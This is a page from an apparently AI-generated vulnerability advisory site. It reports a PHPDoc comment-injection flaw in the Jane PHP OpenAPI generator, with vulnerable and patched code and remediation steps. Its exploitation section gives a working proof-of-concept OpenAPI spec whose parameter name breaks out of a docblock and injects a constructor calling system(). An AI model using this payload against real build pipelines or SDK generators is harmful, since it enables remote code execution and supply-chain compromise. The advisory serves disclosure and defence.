CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-63412

CVE-2026-63412: Remote Code Execution via PHPDoc Comment Injection in Jane PHP OpenAPI Generator

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 19, 2026·9 min read·2 visits

Executive Summary (TL;DR)

Improper escaping of PHPDoc comment blocks in Jane PHP before version 7.12.0 allows attackers to break out of multi-line comments via crafted OpenAPI parameter names and inject arbitrary executable PHP code into generated client classes.

CVE-2026-63412 is a code injection vulnerability in the Jane PHP library suite (affecting jane-php/open-api-3, jane-php/open-api-2, jane-php/open-api-31, and jane-php/json-schema) prior to version 7.12.0. The flaw occurs during the automated generation of PHP client SDKs and data models from OpenAPI specifications. While Jane uses an Abstract Syntax Tree (AST) for safe generation of standard PHP tokens, it constructs PHPDoc comments via raw string interpolation without neutralizing multi-line comment closing delimiters (*/). An attacker who provides or modifies an OpenAPI specification can inject a closing comment sequence inside a query parameter name, escaping the docblock context and writing arbitrary PHP code directly into the class body of generated endpoints or clients. When the consuming application instantiates the generated class, injected methods such as __construct() execute automatically, resulting in remote code execution.

Vulnerability Overview

Jane PHP (janephp/janephp) is a library ecosystem used in PHP applications to generate data models and API client SDKs from JSON Schema and OpenAPI (Swagger) specifications. Developers use Jane during build pipelines or dynamic integration workflows to translate external API contracts into strongly typed PHP classes, endpoints, and normalizers.

Because code generators translate unstructured or semi-structured external definitions into executable source files, they expose a distinct attack surface if they process untrusted specifications. To prevent code injection within standard PHP constructs—such as class names, property declarations, and method signatures—Jane utilizes nikic/php-parser to construct an Abstract Syntax Tree (AST). When the AST is serialized into source code, the parser library enforces syntactic validity and escapes string literals.

However, CVE-2026-63412 bypasses this AST protection by targeting the generation of PHPDoc comment blocks. In versions of Jane prior to 7.12.0, docblocks are assembled through direct string concatenation and attached to AST nodes as raw comment attributes. Because nikic/php-parser does not validate or escape the internal contents of comment nodes, any input containing the multi-line comment termination sequence (*/) prematurely closes the docblock in the emitted PHP file.

Classified under CWE-94 (Improper Control of Generation of Code) and CWE-116 (Improper Encoding or Escaping of Output), this flaw allows an attacker controlling an OpenAPI specification to inject arbitrary PHP code into the generated files. When the consuming application loads and instantiates the generated client or endpoint class, the injected code executes under the privilege context of the PHP runtime.

Root Cause Analysis

The root cause of CVE-2026-63412 is the lack of output sanitization when interpolating OpenAPI specification fields into multi-line PHP comments (/** ... */). When nikic/php-parser prints an AST node with an associated PhpParser\Comment\Doc attribute, it outputs the comment string verbatim immediately preceding the node definition.

In the OpenAPI 3 generator component (jane-php/open-api-3), the class NonBodyParameterGenerator is responsible for documenting query, header, and path parameters within the generated Endpoint and Client classes. Specifically, the generateOptionDocParameter() method formats each non-body parameter into a structured PHPDoc list indicating the parameter's name, type, optionality, and description.

During this formatting step, the generator retrieves the parameter name directly from the parsed OpenAPI specification via $parameter->getName() and inserts it into a sprintf() template without escaping comment delimiters. A similar lack of sanitization occurs when processing parameter descriptions, model property descriptions, and endpoint constructor documentation across the OpenAPI 2, OpenAPI 3, OpenAPI 3.1, and JSON Schema components.

Because the PHPDoc block for an endpoint method or class constructor sits directly inside the class body scope, terminating the comment early places any subsequent characters directly into the class declaration context. By supplying a parameter name that closes the comment, defines a new class method, and opens a trailing block comment (/*), an attacker can inject syntactically valid PHP methods into the generated class without triggering syntax errors during parsing.

Code Analysis

In src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php, the vulnerable implementation of generateOptionDocParameter() constructs the documentation line for array options as follows:

public function generateOptionDocParameter(Parameter $parameter): string
{
    // ...
    $description = implode("\n", array_map(rtrim(...), explode("\n", $parameter->getDescription() ?: '')));
 
    return rtrim(
        \sprintf(
            ' *    "%s"%s: %s%s',
            $parameter->getName(), // Vulnerable: emitted verbatim without escaping '*/'
            $parameter->getRequired() ? '' : '?',
            $type,
            $description !== '' ? ', //' . $description : ',' // Vulnerable if description contains '*/'
        )
    );
}

A parallel issue existed in generateMethodDocParameter() within the same class, where camelized parameter names and descriptions were concatenated directly into @param annotations. Furthermore, GetConstructorTrait.php, GetterSetterGenerator.php, and PropertyGenerator.php across the OpenApi2, OpenApi3, OpenApi31, and JsonSchema components exhibited identical unescaped interpolation of specification metadata into docblocks.

Commit 0ea379deab5689475d62653b408de62ad3611c7a (Pull Request #960) addresses this vulnerability by applying str_replace('*/', '*\\/', ...) to all user-controlled specification strings before inserting them into docblock templates.

// Patched implementation in src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php
public function generateOptionDocParameter(Parameter $parameter): string
{
    // ...
    $description = implode("\n", array_map(fn ($line) => str_replace('*/', '*\\/', rtrim($line)), explode("\n", $parameter->getDescription() ?: '')));
 
    return rtrim(
        \sprintf(
            ' *    "%s"%s: %s%s',
            str_replace('*/', '*\\/', $parameter->getName()), // Fix: neutralizes closing comment tag
            $parameter->getRequired() ? '' : '?',
            $type,
            $description !== '' ? ', //' . $description : ','
        )
    );
}

The patch applies this sanitization across nine distinct generator files, covering parameter names, camelized parameter variable names, parameter descriptions, endpoint constructor documentation, and JSON Schema model getter/setter descriptions.

> [!NOTE] > Evaluating fix completeness: Replacing */ with *\/ is sufficient to prevent premature termination of multi-line /* ... */ and /** ... */ comments in PHP because the PHP lexer does not recognize *\/ as a comment terminator, nor does PHP support nested multi-line comments where an injected /* could alter lexical state inside an already open docblock. However, because the fix relies on manual str_replace() calls at individual call sites rather than centralizing sanitization inside a dedicated DocBlock builder wrapper around PhpParser\Comment\Doc, future generator additions must manually implement this escaping to avoid reintroducing variants.

Exploitation

Exploiting CVE-2026-63412 requires an application or build system to process an attacker-controlled or modified OpenAPI specification using an affected version of Jane PHP, and subsequently load or instantiate the generated code. No special runtime flags or privileges are required beyond standard SDK generation and usage.

To construct a clean exploit payload that maintains valid PHP syntax throughout the generated file, the attacker crafts a query parameter definition inside an OpenAPI specification. The payload must perform three lexical actions: close the active PHPDoc block, inject a valid class-level declaration, and open a new block comment to consume the remainder of the original PHPDoc block.

{
  "openapi": "3.0.0",
  "info": {
    "title": "Exploit API",
    "version": "1.0.0"
  },
  "paths": {
    "/items": {
      "get": {
        "operationId": "getItems",
        "parameters": [
          {
            "name": "*/ public function __construct(){ system('id'); } /*",
            "in": "query",
            "required": true,
            "schema": {
              "type": "string"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "OK"
          }
        }
      }
    }
  }
}

When Jane generates the corresponding PHP class from this specification, generateOptionDocParameter() interpolates the malicious name field into the class or method docblock, producing the following PHP output:

/**
 * @param array $queryParameters {
 *    "*/ public function __construct(){ system('id'); } /*": string,
 * }
 */

When the PHP interpreter parses this generated file, the docblock terminates at the first */ inside the quotation marks. The interpreter then encounters public function __construct(){ system('id'); } at the class body level, registering it as the class constructor (provided the target class does not already define a conflicting __construct method, or if injected into an endpoint/client class where a constructor or invoked method can be hijacked). The trailing /* opens a standard multi-line comment that cleanly encapsulates the leftover ": string, * } characters until the original docblock closing token */ is reached.

Once the generated file is included by the application's autoloader, instantiating the generated class (e.g., $client = new \Jane\Generated\Client(); or instantiating the generated Endpoint) immediately triggers the injected __construct() method, executing arbitrary system commands.

Impact Assessment

The primary impact of CVE-2026-63412 is arbitrary remote code execution within the context of the PHP application or CI/CD pipeline consuming the generated code. Once arbitrary PHP code executes, an attacker gains full access to the application's memory space, filesystem permissions, environment variables (including API keys and database credentials), and internal network resources.

The vulnerability is rated Critical with a CVSS v4.0 base score of 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). The Network (AV:N) attack vector and Low (AC:L) complexity reflect scenarios where automated systems, API gateways, or developer platforms dynamically fetch and compile remote OpenAPI specifications without manual code review of the generated artifacts.

In environments where Jane PHP is executed strictly by developers on local machines or during CI/CD build pipelines against third-party specifications, the vulnerability acts as a supply-chain compromise vector. If an upstream API provider is compromised or serves a malicious OpenAPI schema update, an automated SDK regeneration workflow will embed the backdoor directly into the resulting PHP package or deployment artifact.

According to threat intelligence metrics, the Exploit Prediction Scoring System (EPSS) score for CVE-2026-63412 is 0.00391 (33.98th percentile), and it is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was disclosed alongside three related advisories (GHSA-xwcw-j52r-34x4, GHSA-x9xr-53qx-9qcf, and GHSA-c3cj-3p6p-j822) addressing code generation safety in the 7.12.0 release.

Remediation

To remediate CVE-2026-63412, organizations must upgrade all installed Jane PHP components—specifically jane-php/open-api-3, jane-php/open-api-2, jane-php/open-api-31, jane-php/json-schema, and jane-php/open-api-common—to version 7.12.0 or later.

Because Jane PHP is a code generator that writes persistent PHP source files to disk, updating the Composer package dependency alone does not remove code that was already injected into existing builds. After upgrading to version 7.12.0, teams must delete all previously generated model, endpoint, normalizer, and client files, and re-run the jane-openapi generate (or jane-json-schema generate) command to produce sanitized artifacts.

For environments where immediate upgrading is not feasible, implement the following compensating controls:

  1. Pre-generation Schema Validation: Scan incoming OpenAPI and JSON Schema files before passing them to Jane. Reject any specification containing the character sequence */ within parameter names, property names, operation IDs, or description fields.
  2. Static Analysis and Diff Review: Enforce automated static analysis (such as PHPStan or Psalm) and syntax verification (php -l) on generated code inside CI/CD pipelines, and require manual pull request review for all changes to generated SDK directories.
  3. Restrict Specification Sources: Configure build pipelines to only ingest OpenAPI specifications from pinned, integrity-checked (SHA-256) internal repositories rather than dynamically pulling live schema URLs during builds.

Official Patches

Jane PHPOfficial patch commit escaping comment closing delimiters in docblocks
Jane PHPPull Request #960 resolving docblock injection vulnerabilities
Jane PHPRelease v7.12.0 containing the fix for CVE-2026-63412

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.39%
Top 66% most exploited

Affected Systems

jane-php/open-api-3jane-php/open-api-2jane-php/open-api-31jane-php/json-schemajanephp/janephp

Affected Versions Detail

Product
Affected Versions
Fixed Version
jane-php/open-api-3
janephp
< 7.12.07.12.0
jane-php/open-api-2
janephp
< 7.12.07.12.0
jane-php/open-api-31
janephp
< 7.12.07.12.0
jane-php/json-schema
janephp
< 7.12.07.12.0
AttributeDetail
CVE IDCVE-2026-63412 (GHSA-q8v2-3j4h-xg2p)
Weakness ClassCWE-94 (Code Injection) / CWE-116 (Improper Escaping)
CVSS v4.0 Score9.3 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H)
EPSS Score0.39% (33.98th Percentile)
Affected Versionsjanephp/janephp < 7.12.0
Patched Version7.12.0
Exploit StatusPublic PoC Available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory containing proof-of-concept OpenAPI parameter payload demonstrating PHPDoc breakout and constructor injection.

Vulnerability Timeline

Pull Request #960 merged into master branch (commit 0ea379deab5689475d62653b408de62ad3611c7a)
2026-07-09
Jane PHP version 7.12.0 released containing the security patch
2026-07-09
CVE-2026-63412 and GitHub Security Advisory GHSA-q8v2-3j4h-xg2p officially published
2026-11-18
NVD and EPSS database records updated with scoring and classification data
2026-11-19

References & Sources

  • [1]GitHub Security Advisory GHSA-q8v2-3j4h-xg2p
  • [2]Jane PHP Pull Request #960
  • [3]Patch Commit 0ea379deab5689475d62653b408de62ad3611c7a
  • [4]Jane PHP v7.12.0 Release Notes
  • [5]NVD Detail for CVE-2026-63412
  • [6]CVE.org Record for CVE-2026-63412
  • [7]CVEListV5 JSON Record for CVE-2026-63412

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-58214
4.3

CVE-2026-58214: MQTT Internal Subject Subscription ACL Bypass in NATS Server

CVE-2026-58214 is an incorrect authorization vulnerability (CWE-863) in the MQTT bridge implementation of NATS Server. The vulnerability results from an incomplete fix for CVE-2026-33217 within the subscription processing routine in server/mqtt.go. Because internal delivery subscriptions bypass standard account-level allow-list validation in canSubscribe, the MQTT session manager relies on explicit prefix filtering in processSubs to prevent clients from subscribing to internal broker subjects. Affected versions fail to validate incoming MQTT subscription filters against the internal QoS 2 PubRel delivery prefix ($MQTT.deliver.pubrel.), allowing authenticated MQTT clients to subscribe to internal operational subjects and monitor QoS 2 protocol metadata across all sessions within the same NATS account.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 4 hours ago•CVE-2026-69155
8.7

CVE-2026-69155: Stored Cross-Site Scripting in Atomic Server File Download Handler

CVE-2026-69155 (GHSA-x277-3wcg-g9r2) is a stored cross-site scripting (XSS) vulnerability in Atomic Server versions 0.30.0 prior to 0.40.3. The vulnerability resides in the HTTP file-download handler (server/src/handlers/download.rs), which serves user-uploaded files with an inline Content-Disposition and attacker-controlled MIME types such as text/html or image/svg+xml. Because the endpoint lacks X-Content-Type-Options: nosniff and Content-Security-Policy restrictions, an authenticated user with upload privileges can store malicious JavaScript that executes within a victim's browser in the primary application origin. Executing code in this context grants access to non-HttpOnly session cookies and unencrypted Ed25519 cryptographic private keys stored in IndexedDB, leading to full account takeover.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 5 hours ago•CVE-2026-69156
8.1

CVE-2026-69156: Arbitrary File Read and Root Key Disclosure via Path Traversal in Atomic Server

CVE-2026-69156 is an authenticated path traversal and arbitrary file read vulnerability in Ontola Atomic Server versions 0.30.0 prior to 0.40.3. The flaw arises from a failure to restrict server-managed properties during Commit ingestion in lib/src/commit.rs, combined with unsanitized filesystem path construction in the /download endpoint handler in server/src/handlers/download.rs. An authenticated Agent can assign an arbitrary relative or absolute filesystem path to the internalId property of an owned resource and retrieve the target file via the download endpoint, exposing the server configuration file (config.toml) and the root Agent ED25519 private key.

Alon Barad
Alon Barad
7 views•12 min read
•about 6 hours ago•CVE-2026-69157
9.8

CVE-2026-69157: Unauthenticated Administrative Takeover via /setup in Atomic Server

CVE-2026-69157 (GHSA-pfwx-xjp4-qxcj) is a critical missing authentication vulnerability (CWE-306) affecting Atomic Server versions 0.29.0 through 0.40.2. During initial deployment, the server exposes an unauthenticated /setup endpoint that generates an invite token granting root write permissions across the entire Drive. Because the invite redemption handler discards the redeemer identity, an unauthenticated remote attacker can intercept or request this setup invite on an unclaimed instance, register an arbitrary Agent public key, and assume full administrative control over the database.

Alon Barad
Alon Barad
6 views•10 min read
•about 7 hours ago•CVE-2026-69158
8.6

CVE-2026-69158: Unauthenticated Full-Response SSRF in Atomic Server /bookmark Endpoint

CVE-2026-69158 is a high-severity Server-Side Request Forgery (SSRF) vulnerability in Ontola Atomic Server (atomic-server) and its underlying Rust library (atomic_lib). Prior to versions 0.40.2 and 0.40.3, the server exposed an unauthenticated HTTP GET endpoint at /bookmark (and handled user-supplied URLs via POST to /import) that fetched arbitrary caller-supplied URLs after performing only a naive string prefix check. Because endpoint routing bypassed read authorization checks and reflected the retrieved content back to the client, unauthenticated remote attackers can force the server to issue HTTP GET requests to internal network destinations, localhost services, and cloud instance metadata endpoints.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 8 hours ago•CVE-2026-71425
6.5

CVE-2026-71425: Server-Side Request Forgery and OAuth Token Exposure in Outstatic GitHub REST Proxy

CVE-2026-71425 (GHSA-7jvc-9xq8-frff) is a Server-Side Request Forgery (SSRF) and credential exposure vulnerability in Outstatic, an open-source Next.js-based static site Content Management System (CMS). In versions prior to 2.2.1, the authenticated GitHub REST proxy (/api/outstatic/github) constructed upstream URLs via insecure string concatenation of an unvalidated endpoint parameter and merged arbitrary user-supplied HTTP headers directly into outbound requests. Because the proxy automatically attaches the active user's GitHub OAuth access token to these requests, an authenticated caller or an attacker leveraging a cross-origin request primitive can redirect the server's outbound request to an arbitrary external host and exfiltrate the OAuth bearer token.

Amit Schendel
Amit Schendel
3 views•9 min read